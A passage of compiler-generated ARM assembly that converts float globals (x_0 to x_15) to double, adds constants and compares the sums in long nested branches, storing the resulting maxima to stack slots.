bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1566
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L658
.L1566:
ldr r3, .L1691+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L658:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1567
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1568
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L666
.L1568:
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L666:
ldr r3, .L1691+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1569
ldr r3, .L1691+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L669
.L1569:
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L669:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1570
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1571
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L679
.L1571:
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L679
.L1570:
ldr r3, .L1691+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1572
ldr r3, .L1691+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L679
.L1572:
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L679
.L1567:
ldr r3, .L1691+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1573
ldr r3, .L1691+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L682
.L1573:
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L682:
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1574
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L685
.L1574:
ldr r3, .L1691+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L685:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1575
ldr r3, .L1691+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1576
ldr r3, .L1691+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L679
.L1576:
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L679
.L1575:
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1577
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L679
.L1577:
ldr r3, .L1691+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L679:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-52] @ float
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1578
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L697
.L1578:
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L697:
ldr r3, .L1691+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1579
ldr r3, .L1691+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L700
.L1579:
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L700:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1580
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1581
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L706
.L1581:
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L706
.L1580:
ldr r3, .L1691+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1582
ldr r3, .L1691+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L706
.L1582:
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L706:
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1583
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L712
.L1583:
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L712:
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1691+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1584
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L715
.L1584:
ldr r3, .L1691+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L715:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1585
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1586
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L721
.L1586:
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L721
.L1585:
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1587
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L721
.L1587:
ldr r3, .L1691+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L721:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1588
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1589
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L729
.L1589:
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L729:
ldr r3, .L1691+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1590
ldr r3, .L1691+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L732
.L1692:
.align 2
.L1691:
.word 1074266112
.word x_15
.word x_9
.word 1077084160
.word x_5
.word x_2
.word 1075838976
.word x_3
.word x_10
.word 1074790400
.word x_14
.word 1072693248
.word x_0
.word x_1
.word 1076363264
.word x_6
.word x_7
.word 1076887552
.word x_12
.word 1076232192
.word x_13
.word 1076756480
.word 1075970048
.word x_11
.word 1076625408
.word x_8
.L1590:
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L732:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1591
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1592
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L742
.L1592:
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L742
.L1591:
ldr r3, .L1691+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1593
ldr r3, .L1691+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L742
.L1593:
ldr r3, .L1691+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L742
.L1588:
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1594
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L745
.L1594:
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L745:
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1595
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L748
.L1595:
ldr r3, .L1691+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L748:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1596
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1597
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L742
.L1597:
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L742
.L1596:
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1598
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L742
.L1598:
ldr r3, .L1691+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L742:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-48] @ float
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1599
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L760
.L1599:
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L760:
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1600
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L763
.L1600:
ldr r3, .L1691+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L763:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1601
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1602
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L769
.L1602:
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L769
.L1601:
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1603
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L769
.L1603:
ldr r3, .L1691+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L769:
ldr r3, .L1691+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
